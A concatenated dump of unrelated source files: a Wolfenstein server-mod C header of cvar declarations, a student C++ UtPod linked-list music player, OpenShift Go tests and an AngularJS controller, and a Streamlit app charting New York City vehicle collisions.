extern vmCvar_t g_warmupDamage;
extern vmCvar_t g_reportHeadshots;
extern vmCvar_t g_unlockWeapons;
extern vmCvar_t g_pickupAmmo;
extern vmCvar_t g_ammoGivesSyringe;
extern vmCvar_t g_ammoGivesHelmet;
extern vmCvar_t g_ammoGivesBinocs;
extern vmCvar_t g_medExtraClips;
extern vmCvar_t g_ltExtraClips;
extern vmCvar_t g_engExtraClips;
extern vmCvar_t g_soldExtraClips;
extern vmCvar_t g_venomExtraClips;
extern vmCvar_t g_mauserExtraClips;
extern vmCvar_t g_pistolExtraClips;
extern vmCvar_t g_headshotDmg;
extern vmCvar_t g_helmetDmg;
extern vmCvar_t g_helmetProtects;
extern vmCvar_t g_teamSwitchTime;
extern vmCvar_t g_connectMsg;
extern vmCvar_t g_deathmatch;
extern vmCvar_t g_lateJoinLives;
extern vmCvar_t g_lateJoinTime;
extern vmCvar_t g_allowLateJoiners;
extern vmCvar_t g_maxPf;
extern vmCvar_t g_maxFlamer;
extern vmCvar_t g_maxMauser;
extern vmCvar_t g_maxVenom;
extern vmCvar_t g_alliedmaxlives;
extern vmCvar_t g_axismaxlives;
extern vmCvar_t g_ignoreSpecs;
extern vmCvar_t g_panzerArc;
extern vmCvar_t g_rocketSpeed;
extern vmCvar_t g_ASBlock;
extern vmCvar_t g_ASBlockEasy;
extern vmCvar_t g_disallowedVotes;
extern vmCvar_t g_lockteams;
extern vmCvar_t g_dropObj;
extern vmCvar_t g_dropNadepacks;
extern vmCvar_t g_throwableKnives;
extern vmCvar_t g_ammoGivesKnife;
extern vmCvar_t g_maxKnives;
extern vmCvar_t g_knifeDamage;
extern vmCvar_t g_wolfKick;
extern vmCvar_t g_dropClips;
extern vmCvar_t g_playDead;
extern vmCvar_t g_headshotsOnly;
extern vmCvar_t g_voteCredits;
extern vmCvar_t g_checkBan;
extern vmCvar_t g_chooseMg;
extern vmCvar_t g_mvsay;
extern vmCvar_t g_dragCorpse;
extern vmCvar_t g_underwaterMg;
extern vmCvar_t g_underwaterRevive;
extern vmCvar_t g_underwaterPistols;
extern vmCvar_t g_tournymode;
extern vmCvar_t g_forceWarmupSpawn;
extern vmCvar_t g_smokeGrenades;
extern vmCvar_t g_smokeGrenadeLimit;
extern vmCvar_t g_homingRockets;
extern vmCvar_t g_homingRocketsSens;
extern vmCvar_t g_panzerOverHeatTime;
extern vmCvar_t g_panzerClips;
extern vmCvar_t g_panzerCoolDownTime;
extern vmCvar_t g_panzerFireRate;
extern vmCvar_t g_extraPanzerClips;
extern vmCvar_t g_DmSpawnPoints;
extern vmCvar_t g_mines;
extern vmCvar_t g_smokingPlayers;
extern vmCvar_t g_goldrush;
extern vmCvar_t g_goldWeight;
extern vmCvar_t g_instaGib;
extern vmCvar_t g_nodrowning;
extern vmCvar_t g_homingrocketdetects;
extern vmCvar_t g_privateclients;
extern vmCvar_t g_autoShuffle;
extern vmCvar_t g_panzerParty;
extern vmCvar_t g_checkpureclient;
extern vmCvar_t g_makeDMspawns;
extern vmCvar_t g_DoHighAcheivers;
extern vmCvar_t g_LTinfomsg;
extern vmCvar_t g_allowSpys;
extern vmCvar_t g_reportSpys;
extern vmCvar_t g_antilag;
extern vmCvar_t g_antilagVersion;
extern vmCvar_t g_allowhitsounds;
extern vmCvar_t g_CaptureTheFlag;
extern vmCvar_t g_autoAim;
extern vmCvar_t g_jumpAccel;
extern vmCvar_t g_moonPhysics;
extern vmCvar_t g_automg42limit;
extern vmCvar_t g_allowCV;
extern vmCvar_t g_dropBinocs;
extern vmCvar_t updatebanlist;
extern vmCvar_t g_SpamWar;
//for testing
extern vmCvar_t g_test1;
extern vmCvar_t g_test2;
extern vmCvar_t g_test3;
//For msgs
extern vmCvar_t g_msg1;
extern vmCvar_t g_msg2;
extern vmCvar_t g_msg3;
extern vmCvar_t g_msg4;
extern vmCvar_t g_msg5;
extern vmCvar_t g_msg6;
extern vmCvar_t g_msg7;
extern vmCvar_t g_msg8;
extern vmCvar_t g_msg9;
extern vmCvar_t g_msg10;
extern vmCvar_t g_msgs;
extern vmCvar_t g_msgtime;
extern vmCvar_t msgNum;
//Admin
extern vmCvar_t a1_pass;
extern vmCvar_t a2_pass;
extern vmCvar_t a3_pass;
extern vmCvar_t a4_pass;
extern vmCvar_t a5_pass;
//Nobo
extern vmCvar_t a6_pass;
extern vmCvar_t a6_cmds;
extern vmCvar_t a1_status;
extern vmCvar_t a2_status;
extern vmCvar_t a3_status;
extern vmCvar_t a4_status;
extern vmCvar_t a5_status;
extern vmCvar_t a6_status;
extern vmCvar_t a1_loginmsg;
extern vmCvar_t a2_loginmsg;
extern vmCvar_t a3_loginmsg;
extern vmCvar_t a4_loginmsg;
extern vmCvar_t a5_loginmsg;
extern vmCvar_t a6_loginmsg;
extern vmCvar_t g_whitelistmsg;
//End nobo
extern vmCvar_t a1_cmds;
extern vmCvar_t a2_cmds;
extern vmCvar_t a3_cmds;
extern vmCvar_t a4_cmds;
extern vmCvar_t a5_cmds;
extern vmCvar_t a5_allPowers;
//The trenches
extern vmCvar_t g_theTrenchesMode;
//End
//End my cvars
//begin agent
extern vmCvar_t AB_Enable;
extern vmCvar_t AB_MinScore;
extern vmCvar_t AB_Tks;
extern vmCvar_t AB_CheatsOK;
//extern vmCvar_t AB_CvarCheck;
extern vmCvar_t AB_Test;
extern vmCvar_t AB_AutoMaps;
extern vmCvar_t AB_MinNameChars;
extern vmCvar_t AB_MinHits;
extern vmCvar_t AB_MinHitsPercent;
//S4NDM4NN- just put them here so they will be with the rest
extern vmCvar_t AB_KnifePoints;
extern vmCvar_t AB_MgPoints;
extern vmCvar_t AB_MauserPoints;
extern vmCvar_t AB_Mg42Points;
extern vmCvar_t AB_ThrowKnivesPoints;
extern vmCvar_t AB_NadePoints;
extern vmCvar_t AB_AsPoints;
extern vmCvar_t AB_FlamerPoints;
extern vmCvar_t AB_VenomPoints;
extern vmCvar_t AB_PanzerPoints;
extern vmCvar_t AB_DynamitePoints;
extern vmCvar_t AB_PistolPoints;
extern vmCvar_t AB_SniperPoints;
extern vmCvar_t AB_MaxTkPoints;
extern vmCvar_t AB_AllowNameSpam;
//extern vmCvar_t AB_MaxPing;
//extern vmCvar_t AB_MaxPingTime;
//extern vmCvar_t AB_KickHighPingers;
extern vmCvar_t AB_TempBanTime;
extern vmCvar_t g_RetakeLimit; //fb retakes (not cp flags)
extern vmCvar_t g_SniperMode;
extern vmCvar_t g_autoSniper;
extern vmCvar_t g_ShowHighlights;
extern vmCvar_t g_AutoSpawnTimes;
extern vmCvar_t g_AutoHeavyWeapons;
extern vmCvar_t g_autoTeamBalance;
extern vmCvar_t g_needBalance;
extern vmCvar_t g_RedDefaultSpawnTime;
extern vmCvar_t g_BlueDefaultSpawnTime;
extern vmCvar_t cl_allowdownload;
extern vmCvar_t g_ltExtraAirstrike;
extern vmCvar_t g_gibPoints;
extern vmCvar_t g_autoTap;
//extern vmCvar_t Players_Allies;
//extern vmCvar_t Players_Axis;
//extern vmCvar_t Players_Spec;
extern vmCvar_t g_maxAirstrikes;
extern vmCvar_t g_showHitBoxes;
extern vmCvar_t g_fixedphysics;
extern vmCvar_t g_demo;
extern vmCvar_t g_forceDLpaknames;
extern vmCvar_t g_forceDLchecksums;
extern vmCvar_t sv_referencedPaks;
extern vmCvar_t sv_referencedPakNames;
extern vmCvar_t g_tableStats;
extern vmCvar_t g_fastCrouchStamina;
extern vmCvar_t g_noSameTeamDefuse;
extern vmCvar_t g_truePing;
extern vmCvar_t g_anticheat;
extern vmCvar_t g_shortcuts;
extern vmCvar_t g_binocWar;
extern vmCvar_t g_S4NDLog;
extern vmCvar_t g_S4NDdebug;
extern vmCvar_t g_allowspeclock;
extern vmCvar_t g_mineHealth;
extern vmCvar_t g_welcomeMsg; // nobo
//extern vmCvar_t g_mineArmAmt;
//extern vmCvar_t g_mineSplashRadius;
//extern vmCvar_t g_mineDetectDist;
extern vmCvar_t g_uptime;
extern vmCvar_t modurl;
extern vmCvar_t gamename;
extern vmCvar_t g_fakePing;
extern vmCvar_t g_friendlyFireKnockback;
extern vmCvar_t g_spawnTimer;
extern vmCvar_t g_showLifeStats;
extern vmCvar_t g_undeadRevives;
//extern vmCvar_t g_fixedphysicsfps;
//END S4NDM4NN
//end agent
// L0
extern vmCvar_t g_FirstBlood; // 0 = off, 1 = spams only, 2 = in case if game is tied it gives the victory to team that made the 1st kill in game...
extern vmCvar_t g_redDrawFirst; // fixed..
extern vmCvar_t g_blueDrawFirst; // fixed..
extern vmCvar_t g_doubleKills; // 0 = off, 1 = on
extern vmCvar_t g_screenShake; // Default is 4 - lower is less - higher is more... i set game defeault to half ( 2 )
// L0 - end
typedef struct {
gentity_t *owner;
int entitynum;
int team;
vec3_t origin;
vec3_t viewangles;
qboolean active;
} mg42_t;
extern mg42_t automg42s;
typedef enum {
NA_BOT,
NA_BAD, // an address lookup failed
NA_LOOPBACK,
NA_BROADCAST,
NA_IP,
NA_IPX,
NA_BROADCAST_IPX
} netadrtype_t;
typedef struct {
netadrtype_t type;
byte ip[4];
byte ipx[10];
unsigned short port;
} netadr_t;
typedef enum {
NS_CLIENT,
NS_SERVER
} netsrc_t;
typedef struct {
netsrc_t sock;
int dropped; // between last packet and previous
netadr_t remoteAddress;
int qport; // qport value to write when transmitting
// sequencing variables
int incomingSequence;
int outgoingSequence;
// incoming fragment assembly buffer
int fragmentSequence;
int fragmentLength;
byte fragmentBuffer[16384];
// outgoing fragment buffer
// we need to space out the sending of large fragmented messages
qboolean unsentFragments;
int unsentFragmentStart;
int unsentLength;
byte unsentBuffer[16384];
} netchan_t;
typedef struct {
int areabytes;
byte areabits[MAX_MAP_AREA_BYTES]; // portalarea visibility bits
playerState_t ps;
int num_entities;
int first_entity; // into the circular sv_packet_entities[]
// the entities MUST be in increasing state number
// order, otherwise the delta compression will fail
int messageSent; // time the message was transmitted
int messageAcked; // time the message was acked
int messageSize; // used to rate drop packets
} clientSnapshot_t;
typedef enum {
CS_FREE, // can be reused for a new connection
CS_ZOMBIE, // client has been disconnected, but don't reuse
// connection for a couple seconds
CS_CONNECTED, // has been assigned to a client_t, but no gamestate yet
CS_PRIMED, // gamestate has been sent, but client hasn't sent a usercmd
CS_ACTIVE // client is fully in game
} clientState_t;
typedef struct {
qboolean allowoverflow; // if false, do a Com_Error
qboolean overflowed; // set to true if the buffer size failed (with allowoverflow set)
qboolean oob; // set to true if the buffer size failed (with allowoverflow set)
byte *data;
int maxsize;
int cursize;
int readcount;
int bit; // for bitwise reads and writes
} msg_t;
typedef struct netchan_buffer_s {
msg_t msg;
byte msgBuffer[16384];
struct netchan_buffer_s *next;
} netchan_buffer_t;
typedef struct client_s {
clientState_t state;
char userinfo[MAX_INFO_STRING]; // name, etc
char reliableCommands[64][MAX_STRING_CHARS];
int reliableSequence; // last added reliable message, not necesarily sent or acknowledged yet
int reliableAcknowledge; // last acknowledged reliable message
int reliableSent; // last sent reliable message, not necesarily acknowledged yet
int messageAcknowledge;
int gamestateMessageNum; // netchan->outgoingSequence of gamestate
int challenge;
usercmd_t lastUsercmd;
int lastMessageNum; // for delta compression
int lastClientCommand; // reliable client message sequence
char lastClientCommandString[MAX_STRING_CHARS];
sharedEntity_t *gentity; // SV_GentityNum(clientnum)
char name[MAX_NAME_LENGTH]; // extracted from userinfo, high bits masked
// downloading
char downloadName[MAX_QPATH]; // if not empty string, we are downloading
fileHandle_t download; // file being downloaded
int downloadSize; // total bytes (can't use EOF because of paks)
int downloadCount; // bytes sent
int downloadClientBlock; // last block we sent to the client, awaiting ack
int downloadCurrentBlock; // current block number
int downloadXmitBlock; // last block we xmited
unsigned char *downloadBlocks[8]; // the buffers for the download blocks
int downloadBlockSize[8];
qboolean downloadEOF; // We have sent the EOF block
int downloadSendTime; // time we last got an ack from the client
int deltaMessage; // frame last client usercmd message
int nextReliableTime; // svs.time when another reliable command will be allowed
int lastPacketTime; // svs.time when packet was last received
int lastConnectTime; // svs.time when connection started
int nextSnapshotTime; // send another snapshot when svs.time >= nextSnapshotTime
qboolean rateDelayed; // true if nextSnapshotTime was set based on rate instead of snapshotMsec
int timeoutCount; // must timeout a few frames in a row so debugging doesn't break
clientSnapshot_t frames[32]; // updates can be delta'd from here
int ping;
int rate; // bytes / second
int snapshotMsec; // requests a snapshot every snapshotMsec unless rate choked
int pureAuthentic;
qboolean gotCP; // TTimo - additional flag to distinguish between a bad pure checksum, and no cp command at all
netchan_t netchan;
// TTimo
// queuing outgoing fragmented messages to send them properly, without udp packet bursts
// in case large fragmented messages are stacking up
// buffer them into this queue, and hand them out to netchan as needed
netchan_buffer_t *netchan_start_queue;
netchan_buffer_t **netchan_end_queue;
} client_t;
//S4NDM4NN - moved from g_spawn for agent
typedef struct {
char *name;
void (*spawn)(gentity_t *ent);
} spawn_t;
extern spawn_t spawns[];// stop the gay errors...
// color bitflags
#define AUTORELOAD_OFF 1
#define HITSOUNDS_OFF 2
#define MULTIKILL_OFF 8
#define USE_MP40 16
#define USE_THOMPSON 32
#define USE_STEN 64
int httpGet(char*url,char*filename);
int checkMBL(char*ip,char*password);
// L0
void FirstBlood (gentity_t *self, gentity_t *attacker);
void FirstHeadshot (gentity_t *attacker, gentity_t *targ);
void DoubleKills (gentity_t *ent, int meansOfDeath );
void deathSpree ( gentity_t *ent );
void unpauseCountdown();
qboolean adminCmds (gentity_t *ent, char *cmd );
// SPECLOCK...
// this is for the next weekend when i'll have some time...
typedef enum {
LOCK_FULL,
LOCK_RED,
LOCK_BLUE,
LOCK_R_INVITED,
LOCK_B_INVITED
} spec_lock_status_t;
extern spec_lock_status_t speclockStatus;
// L0 - end
| c77ac12f157040f40c7e1491c1574b41ebf05a51 | [
"C",
"Makefile",
"C++"
] | 22 | Makefile | nobowned/rtcw | f9e123b6b2e7454f04a1c0107bbcc4863edd01b9 | 27bf7cab6263f75a4104028a25253bf34732402e |
refs/heads/master | <repo_name>omgitzhuy1/UtPod<file_sep>/Song.cpp
// Created by <NAME> (hd5245) and <NAME>
// EE 312 Prog 5: UtPod
#include <iostream>
#include "Song.h"
#include <string>
using namespace std;
//Constructor
Song::Song() {
this->title = " ";
this->artist = " ";
this->size = 0;
}
/*
Song::Song(string title) {
title = title;
artist = " ";
size = 0;
}
Song::Song(string artist, string title) {
title = title;
artist = artist;
size = 0;
}
*/
// Set Title, Artist, and Size of song
Song::Song(string artist, string title, int size) {
this->setTitle(title);
this->setArtist(artist);
this->setSize(size);
}
// Return Artist of song
string Song::getArtist() const {
return this->artist;
}
// Set Artist of Song
void Song::setArtist(string a) {
this->artist = a;
}
// Return Title of Song
string Song::getTitle() const {
return this->title;
}
// Set Title of Song
void Song::setTitle(string t) {
this->title = t;
}
// Return Size of Song
int Song::getSize() const {
return this->size;
}
// Set Size of Song
void Song::setSize(int s)
{
this->size = s;
}
// Overide operator ==
// Checking if contents of two song class are the same
// Input parameter: Reference of song on right hand side
// Output parameter: returns true or false
bool Song::operator ==(Song const &rhs) {
return (this->artist == rhs.artist &&
this->title == rhs.title &&
this->size == rhs.size);
}
// Overide operator >
// Checking the alphabetic order of two song classes
bool Song::operator >(Song const &rhs) {
if (this->artist > rhs.artist) return true;
else if (this->artist < rhs.artist) return false;
else {
if (this->title > rhs.title) return true;
else if (this->title < rhs.title) return false;
else {
if (this->size > rhs.size) return true;
else return false;
}
}
}
// Overide operator <
// Checking the alphabetic order of two song classes
bool Song::operator <(Song const &rhs) {
if (this->artist < rhs.artist) return true;
else if (this->artist > rhs.artist) return false;
else {
if (this->title < rhs.title) return true;
else if (this->title > rhs.title) return false;
else {
if (this->size < rhs.size) return true;
else return false;
}
}
}
// Overide operator !=
// Checking if the contents of two song classes are not equal
bool Song::operator !=(Song const &rhs) {
if (this->artist != rhs.artist ||
this->title != rhs.title ||
this->size != rhs.size) return true;
else return false;
}
//Song::~Song(){
//}<file_sep>/UtPodDriver.cpp
// Created by <NAME> (hd5245) and <NAME>
// EE 312 Prog 5: UtPod
#include <cstdlib>
#include <iostream>
#include "Song.h"
#include "UtPod.h"
using namespace std;
int main()//int argc, char *argv[])
{
int size = 600;
cout << "\n1. Testing: Memory size: " << size << endl;
UtPod t(size);
Song s1("Beatles", "<NAME>", 4);
int result = t.addSong(s1);
Song s2("<NAME>", "All of Me", 5);
result = t.addSong(s2);
Song s3("Backstreet Boys", "I Want It That Way", 6);
result = t.addSong(s3);
Song s4("<NAME>", "Can't Help Falling In Love", 7);
result = t.addSong(s4);
Song s5("<NAME>", "Thriller", 3);
result = t.addSong(s5);
cout << "UtPod is preloaded with 5 songs" << endl;
t.showSongList();
cout << endl;
cout << "2. Testing: Adding song" << endl;
cout << "<NAME> - We Don't Talk Anymore - 4" << endl;
cout << "Backstreet Boys - Drowning - 5" << endl;
Song s6("<NAME>", "We Don't Talk Anymore", 4);
Song s7("Backstreet Boys", "Drowning", 5);
result = t.addSong(s6);
result = t.addSong(s7);
t.showSongList();
cout << endl;
cout << "3. Testing: Add a song that is already in UtPod" << endl;
cout << "<NAME> - All of Me - 5" << endl;
Song s8("<NAME>", "All of Me", 5);
result = t.addSong(s8);
t.showSongList();
cout << endl;
cout << "4. Testing: Add a song whose size is larger than remaining memory" << endl;
cout << "<NAME> - Despacito - 500" << endl;
Song s9("<NAME>", "Despacito", 500);
result = t.addSong(s9);
if (result == -1) cout << "Not enough memory" << endl;
t.showSongList();
cout << endl;
cout << "5. Testing: Shuffle" << endl;
t.shuffle();
t.showSongList();
cout << endl;
cout << "6. Testing: Ascending Sort" << endl;
t.sortSongListA();
t.showSongList();
cout << endl;
cout << "7. Testing: Descending Sort" << endl;
t.sortSongListD();
t.showSongList();
cout << endl;
cout << "8. Testing: Delete a song" << endl;
cout << "Delete Beatles - Hey Jude - 4" << endl;
result = t.removeSong(s1);
t.showSongList();
cout << endl;
cout << "9. Testing: Delete a song not in UtPod" << endl;
cout << "Delete <NAME> - Thriller - 3" << endl;
Song s10("<NAME>", "Thriller", 3);
result = t.removeSong(s10);
if (result == -2) cout << "Song not found" << endl;
t.showSongList();
cout << endl;
cout << "10. Testing: Memory Test" << endl;
cout << "Total memory: " << t.getTotalMemory() << endl;
cout << "Remaining memory: " << t.getRemainingMemory() << endl;
cout << endl;
cout << "All test cases completed" << endl;
}<file_sep>/UtPod.cpp
// Created by <NAME> (hd5245) and <NAME>
// EE 312 Prog 5: UtPod
#include <iostream>
#include <string>
#include <cstdlib>
#include "UtPod.h"
using namespace std;
UtPod::UtPod(){
memSize = MAX_MEMORY;
songs = NULL;
}
UtPod::UtPod(int size) {
if ((0 < size) && (size <= MAX_MEMORY)) memSize = size;
else {
memSize = MAX_MEMORY;
cout << "Invalid size. Size is set to 512MB" << endl;
songs = NULL;
}
}
int UtPod::numSong() {
int numSong = 0;
SongNode *p = songs;
while (p != NULL){
numSong++;
p = p->next;
}
return numSong;
}
int UtPod::addSong(Song const &s) {
int remMem = getRemainingMemory();
if (s.getSize() > remMem || s.getSize() <= 0) return NO_MEMORY;
else {
int dup = dupSong(s);
if (dup == 1){
removeSong(s);
cout << "Duplicated song found and deleted" << endl;
SongNode *temp = new SongNode;
temp->s = s;
temp->next = songs;
songs = temp;
return SUCCESS;
} else {
SongNode *temp = new SongNode;
temp->s = s;
temp->next = songs;
songs = temp;
return SUCCESS;
}
}
}
int UtPod::removeSong(Song const &s) {
int remMem = getRemainingMemory();
if (remMem == 0) return NO_MEMORY;
else {
SongNode *p = songs;
SongNode *trail = NULL;
while (p != NULL && p->s != s) {
trail = p;
p = p->next;
}
if (p == NULL) return NOT_FOUND;
else {
if (trail == NULL) {
songs = p->next;
delete p;
return SUCCESS;
} else {
trail->next = p->next;
delete p;
return SUCCESS;
}
}
}
}
void UtPod::shuffle() {
int num = numSong();
if (num < 2) return;
else {
for (int j = 0; j < 2*num; j++) {
int n1 = rand() % num;
int n2 = rand() % num;
Song s1;
Song s2;
SongNode *p1 = songs;
for (int i = 0; i < n1; i++) {
p1 = p1->next;
}
s1 = p1->s;
SongNode *p2 = songs;
for (int i = 0; i < n2; i++) {
p2 = p2->next;
}
s2 = p2->s;
swap(s1, s2);
p1->s = s1;
p2->s = s2;
}
}
}
void UtPod::swap(Song &s1, Song &s2) {
Song temp = s1;
s1 = s2;
s2 = temp;
}
void UtPod::showSongList() {
cout << "Welcome to UtPod" << endl;
cout << "Total Memory: " << getTotalMemory() << " " << "Remaining Memory: " << getRemainingMemory() << endl;
cout << "Number of Songs: " << numSong() << endl;
SongNode *p = songs;
int k = 1;
while (p != NULL) {
cout << k << " - " << p->s.getArtist() << " - " << p->s.getTitle() << " - " << p->s.getSize() << "MB"<< endl;
k++;
p = p->next;
}
}
void UtPod::sortSongListA() {
int num = numSong();
for (int i = 0; i < num; i++) {
SongNode *p = songs;
while (p != NULL) {
if (p->next != NULL) {
SongNode *p2 = p->next;
if (p->s > p2->s) {
swap(p->s, p2->s);
p = p->next;
} else {
p = p->next;
}
}
else p = NULL;
}
}
}
void UtPod::sortSongListD() {
int num = numSong();
for (int i = 0; i < num; i++) {
SongNode *p = songs;
while (p != NULL) {
if (p->next != NULL) {
SongNode *p2 = p->next;
if (p->s < p2->s) {
swap(p->s, p2->s);
p = p->next;
} else {
p = p->next;
}
}
else p = NULL;
}
}
}
void UtPod::clearMemory() {
SongNode *p = songs;
while (songs != NULL){
p = songs;
songs = songs->next;
delete p;
}
}
int UtPod::getRemainingMemory() {
SongNode *p = songs;
int usedMem = 0;
while (p != NULL) {
usedMem = usedMem + p->s.getSize();
p = p->next;
}
int remMem = memSize - usedMem;
return remMem;
}
/*Song UtPod::findSong(int songNumber) {
SongNode *p = songs;
for (int i = 1; i < songNumber; i++) {
p = p->next;
}
return p->s;
}*/
int UtPod::dupSong(Song const &s) {
SongNode *p = songs;
while (p != NULL) {
if (p->s == s) {
removeSong(p->s);
return 1;
}
else p = p->next;
}
return 0;
}
UtPod::~UtPod() {
clearMemory();
songs = NULL;
}
| 0787b7834eb8553855c11fb9629e5e33ee40726c | [
"C++"
] | 3 | C++ | omgitzhuy1/UtPod | 265adb2ce99a755f191d8e73c1c220f3e81915b1 | c9d7ca44acc41c439dd77786fe182abc4570036c |
refs/heads/master | <repo_name>oksanahruzka/fe-advance-hw<file_sep>/Modul2/js/script.js
let num = prompt('Введіть число от 1 до 3-х (1-Taba, 2-Sharm, 3-Hurgada)');
let res;
switch (num) {
case "1" : res = "Taba" ; break;
case "2" : res = "Sharm"; break;
case "3" : res = "Hurgada" ; break;
default : res = "Ви ввели число по якому немає варіанту курорту" ;
}
console.log(`Ви вибрали курорт ${res}!`)
<file_sep>/Modul3/js/script.js
const keyboard = [
['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[', ']'],
['a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', '\''],
['z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '\/'],
];
let firstWord = [keyboard[1][5],keyboard[0][2],keyboard[1][8],keyboard[1][8],keyboard[0][8]];
console.log(firstWord.join(''))
let secondWord = [keyboard[1][6],keyboard[1][0],keyboard[2][3],keyboard[1][0],keyboard[1][1],keyboard[2][2],keyboard[0][3],keyboard[0][7],keyboard[0][9],keyboard[0][4]];
console.log(secondWord.join(''))
let thirdWord = [keyboard[0][4],keyboard[0][3],keyboard[1][0],keyboard[0][7],keyboard[2][5],keyboard[0][2],keyboard[0][3]];
console.log(thirdWord.join(''))
| 54e44a88c3f67601f3cf9001c853c7bbf8f43f77 | [
"JavaScript"
] | 2 | JavaScript | oksanahruzka/fe-advance-hw | a553b1df1e72547b3ed039d47abd12856f552e00 | f1dc02dd73d384f6b99f9086bc86039291215785 |
refs/heads/master | <file_sep>package template
import (
"testing"
kapi "github.com/GoogleCloudPlatform/kubernetes/pkg/api"
)
func TestNewRESTInvalidType(t *testing.T) {
storage := NewREST()
_, err := storage.Create(nil, &kapi.Pod{})
if err == nil {
t.Errorf("Expected type error.")
}
}
func TestStorageNotImplementedFunctions(t *testing.T) {
storage := NewREST()
if _, err := storage.List(nil, nil, nil); err == nil {
t.Errorf("Expected not implemented error.")
}
if _, err := storage.Get(nil, ""); err == nil {
t.Errorf("Expected not implemented error.")
}
if _, err := storage.Update(nil, nil); err == nil {
t.Errorf("Expected not implemented error.")
}
_, err := storage.Delete(nil, "")
if err != nil {
t.Errorf("Unexpected error when deleting: %v", err)
}
}
<file_sep>package examples
import (
"io/ioutil"
"os"
"path/filepath"
"testing"
kapi "github.com/GoogleCloudPlatform/kubernetes/pkg/api"
"github.com/GoogleCloudPlatform/kubernetes/pkg/runtime"
"github.com/openshift/origin/pkg/api/latest"
configapi "github.com/openshift/origin/pkg/config/api"
deployapi "github.com/openshift/origin/pkg/deploy/api"
imageapi "github.com/openshift/origin/pkg/image/api"
projectapi "github.com/openshift/origin/pkg/project/api"
routeapi "github.com/openshift/origin/pkg/route/api"
templateapi "github.com/openshift/origin/pkg/template/api"
)
func TestExamples(t *testing.T) {
expected := map[string]runtime.Object{
"guestbook/template.json": &templateapi.Template{},
"hello-openshift/hello-pod.json": &kapi.Pod{},
"hello-openshift/hello-project.json": &projectapi.Project{},
"sample-app/github-webhook-example.json": nil, // Skip.
"sample-app/docker-registry-config.json": &configapi.Config{},
"sample-app/application-template-stibuild.json": &templateapi.Template{},
"sample-app/application-template-dockerbuild.json": &templateapi.Template{},
"jenkins/jenkins-config.json": &configapi.Config{},
"jenkins/docker-registry-config.json": &configapi.Config{},
"jenkins/application-template.json": &templateapi.Template{},
"../test/integration/fixtures/test-deployment-config.json": &deployapi.DeploymentConfig{},
"../test/integration/fixtures/test-image-repository.json": &imageapi.ImageRepository{},
"../test/integration/fixtures/test-image.json": &imageapi.Image{},
"../test/integration/fixtures/test-mapping.json": &imageapi.ImageRepositoryMapping{},
"../test/integration/fixtures/test-route.json": &routeapi.Route{},
"../test/integration/fixtures/test-service.json": &kapi.Service{},
}
// Add the root directory to search for files you want to test, if is not in the list below.
rootDirs := []string{".", "../test/integration/fixtures"}
files := []string{}
for _, rootDir := range rootDirs {
err := filepath.Walk(rootDir, func(path string, f os.FileInfo, err error) error {
if filepath.Ext(path) == ".json" {
files = append(files, path)
}
return err
})
if err != nil {
t.Errorf("%v", err)
}
}
// Check all files which are expected to be validated, each file should have
// an existent corresponding JSON file on disk.
for fileName := range expected {
if exists := func() bool {
for _, file := range files {
if fileName == file {
return true
}
}
return false
}(); exists == false {
t.Errorf("No JSON file was found for the expected file: '%v'", fileName)
continue
}
}
for _, file := range files {
expectedObject, ok := expected[file]
if !ok {
t.Errorf("No test case defined for example JSON file '%v'", file)
continue
}
if expectedObject == nil {
continue
}
jsonData, _ := ioutil.ReadFile(file)
if err := latest.Codec.DecodeInto(jsonData, expectedObject); err != nil {
t.Errorf("Unexpected error while decoding example JSON file '%v': %v", file, err)
}
}
}
func TestReadme(t *testing.T) {
path := "../README.md"
_, err := ioutil.ReadFile(path)
if err != nil {
t.Fatalf("Unable to read file: %v", err)
}
}
<file_sep>'use strict';
/**
* @ngdoc function
* @name openshiftConsole.controller:ProjectsController
* @description
* # ProjectsController
* Controller of the openshiftConsole
*/
angular.module('openshiftConsole')
.controller('ProjectsController', function ($scope, DataService) {
$scope.projects = [];
var callback = function(projects) {
$scope.$apply(function(){
$scope.projects = projects.items;
});
};
DataService.getList("projects", callback, $scope);
$scope.tileClickHandler = function(evt) {
var t = $(evt.target);
if (t && t.is('a')){
return;
}
var a = $('a.tile-target', t)[0];
if (a) {
if (evt.which === 2 || evt.ctrlKey || evt.shiftKey) {
window.open(a.href);
}
else {
window.location = a.href;
}
}
};
});
| 4e17c9a33a5b00579590315ad126e87694fd47d0 | [
"JavaScript",
"Go"
] | 3 | Go | ben001k/origin | 34671b3fe83b978fc6ac427567385fb5644ec48e | 99952738918be7077f01f9c9e89ae8030a2e143c |
refs/heads/main | <repo_name>junnaruse99/DS_Web_APP<file_sep>/README.md
# Build a Data Science Web App with Streamlit and Python
This is part of a Coursera guided proyect.
Since the dataset was so large that I couldn't upload it, here is the link:
https://data.cityofnewyork.us/Public-Safety/Motor-Vehicle-Collisions-Crashes/h9gi-nx95
### For visualization in a local web server (where name is the name of the programm, ex: app.py)
```
streamlit run name
```
<file_sep>/project.py
# For running the project, in the project directory in Terminal,
# run 'streamlit run project.py'
import streamlit as st
import pandas as pd
import numpy as np
import pydeck as pdk
import plotly.express as px
# The path may differ in your computer
path = (
'./CSV/Motor_Vehicle_Collisions_-_Crashes.csv'
)
st.title("Motor Vehicle Collisions in New York City")
st.markdown("This application is a Streamlit dashboard that can be used"
"to analyze motor vehicle collisions in NYC 🗽💥🚗")
# Since the following function is computational expensive we put:
@st.cache(persist=True) # For not running it continuosly
def load_data(nrows):
data = pd.read_csv(path, nrows=nrows, parse_dates=[['CRASH DATE', 'CRASH TIME']])
# In streamlit you cannot have missing values
data.dropna(subset=['LATITUDE', 'LONGITUDE'], inplace=True)
# Let's rename some columns
lowercase = lambda x: str(x).lower()
data.rename(lowercase, axis='columns', inplace=True)
data.rename(columns={'crash date_crash time':'date/time'}, inplace=True)
return data
data = load_data(100000)
original_data = data
st.header("Wher are the most people injured in NYC?")
# We want the user to input the number of persons injured
# We need the minimum and maximum value / min and max return a numpy
min_injured = int(data['number of persons injured'].min())
max_injured = int(data['number of persons injured'].max())
injured_people = st.slider('Number of persons injured in vehicle collisions', min_injured, max_injured)
st.map(data.query('`number of persons injured` >= @injured_people')[['latitude', 'longitude']].dropna(how='any'))
st.header('How many collisions occur during a given time of day?')
# hour = st.selectbox('Hour to look at', range(0,24), 1) # Message, range, separation
# st.sidebar.slider('Hour to look at', 0, 23) # For a slider sidebar
hour = st.slider('Hour to look at', 0, 23)
data = data[data['date/time'].dt.hour == hour]
